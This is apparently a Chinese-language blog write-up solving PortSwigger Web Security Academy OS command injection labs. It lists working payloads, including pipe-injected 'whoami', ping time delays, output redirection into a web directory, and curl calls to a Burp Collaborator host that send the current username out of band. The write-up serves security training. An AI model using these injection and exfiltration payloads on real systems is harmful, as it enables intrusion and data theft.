BurpSuite靶场系列之OS命令注入

简介: BurpSuite靶场系列之OS命令注入

Portswigger web security academy:OS command injection

环境

本次推荐的模拟环境如下:https://portswigger.net/web-security

邮箱注册登录

https://portswigger.net/web-security/all-labs

找到OS command injection

OS command injection, simple case

点一个产品进行浏览进行抓包

storeId=1|whoami

Blind OS command injection with time delays

email=真实邮箱||ping±c+10+127.0.0.1||

email=dzs12237%40yuoia.com||ping±c+10+127.0.0.1||

Blind OS command injection with output redirection

https://0a64000404d1dde5c11999cc008e00f7.web-security-academy.net/image?filename=output.txt

email=dzs12237%40yuoia.com||whoami>/var/www/images/outpu.txt||

Blind OS command injection with out-of-band interaction

在feedback功能点存在命令注入(盲注)
输入的命令会异步执行,从返回中不会得到任何信息,并且无法将结果重定向到可以访问到的目录,但可以使用外带(out-of-band)
要求执行一个DNS lookup,(利用 collaborator)

反馈你提交,抓包邮箱处构造

直接构造payload

||curl%20xxx.burpcollaborator.net||即可

burp Collaborator 使用:

有的自带无需安装

较低版本的burp 的 extender 下的 bapp store 找到 Collaborator 安装即可。安装后,首先需要设置下我们使用的服务器是官方默认提供的,在 project options-misc-burp collaborator server 下,选择第一个默认官方服务即可,第二个是关闭 collaborator,第三个是使用自己的服务器。如下图。

点击 Run health check 可以测试外带服务器服务是否正常

csrf=gtMV2Hk0lrSVfIw2gPwBfCqKIqsdzcsW&name=11&email=bxn55019%40yuoia.com||curl b9l.burpcollaborator.net||&subject=11&message=11

Blind OS command injection with out-of-band data exfiltration

在feedback功能点存在命令注入(盲注)
输入的命令会异步执行,从返回中不会得到任何信息,并且无法将结果重定向到可以访问到的目录,但可以使用外带(out-of-band)得到结果
要求通过外带获得当前用户名

email=333432%40qq.com||a=whoami;curl%20xlmor0wswc5r80n4ol6zncqio9u3is.burpcollaborator.net/`$a`||

相关文章
|
4天前
|
Java Linux BI
使用 ABAP 在 SAPGUI 里直接执行 Linux 操作系统的命令
使用 ABAP 在 SAPGUI 里直接执行 Linux 操作系统的命令
35 0
使用 ABAP 在 SAPGUI 里直接执行 Linux 操作系统的命令
|
6月前
|
Python
python os.system 相对路径 命令执行
python os.system 相对路径 命令执行
59 0
python os.system 相对路径 命令执行
|
6月前
|
Linux
Linux查看操作系统版命令
Linux查看操作系统版命令
|
7月前
|
Linux Shell Go
《Linux操作系统编程》第四章 屏幕编程器vi : 了解屏幕编辑器vi的概述和基本操作命令
《Linux操作系统编程》第四章 屏幕编程器vi : 了解屏幕编辑器vi的概述和基本操作命令
64 0
|
8月前
|
Shell Linux 应用服务中间件
ABAP 面试题:如何使用 ABAP 编程语言的 System CALL 接口,直接执行 ABAP 服务器所在操作系统的 shell 命令?
ABAP 面试题:如何使用 ABAP 编程语言的 System CALL 接口,直接执行 ABAP 服务器所在操作系统的 shell 命令?
115 0
|
4天前
|
存储 Shell Linux
【Shell 命令集合 网络通讯 】⭐Linux 显示当前系统的主机名和操作系统类型 uuname命令 使用教程
【Shell 命令集合 网络通讯 】⭐Linux 显示当前系统的主机名和操作系统类型 uuname命令 使用教程
31 0
|
4天前
|
监控 算法 Linux
Linux 操作系统常用命令与操作指南
本文将为大家介绍Linux操作系统中的常用命令和操作。这些命令对于初学者和Linux用户都非常重要,掌握它们将大大提高在Linux环境下的工作效率。
70 0
|
7月前
|
Linux
Linux 神奇命令大合集:掌控操作系统,成为技术达人!
Linux 神奇命令大合集:掌控操作系统,成为技术达人!
83 1
|
8月前
|
Shell Linux 应用服务中间件
使用 ABAP 编程语言的 System CALL 接口,直接执行 ABAP 服务器所在操作系统的 shell 命令
使用 ABAP 编程语言的 System CALL 接口,直接执行 ABAP 服务器所在操作系统的 shell 命令
82 0
|
9月前
|
存储 缓存 Linux
实验 通过命令和代码初步感受存储管理【操作系统】
实验 通过命令和代码初步感受存储管理【操作系统】
97 0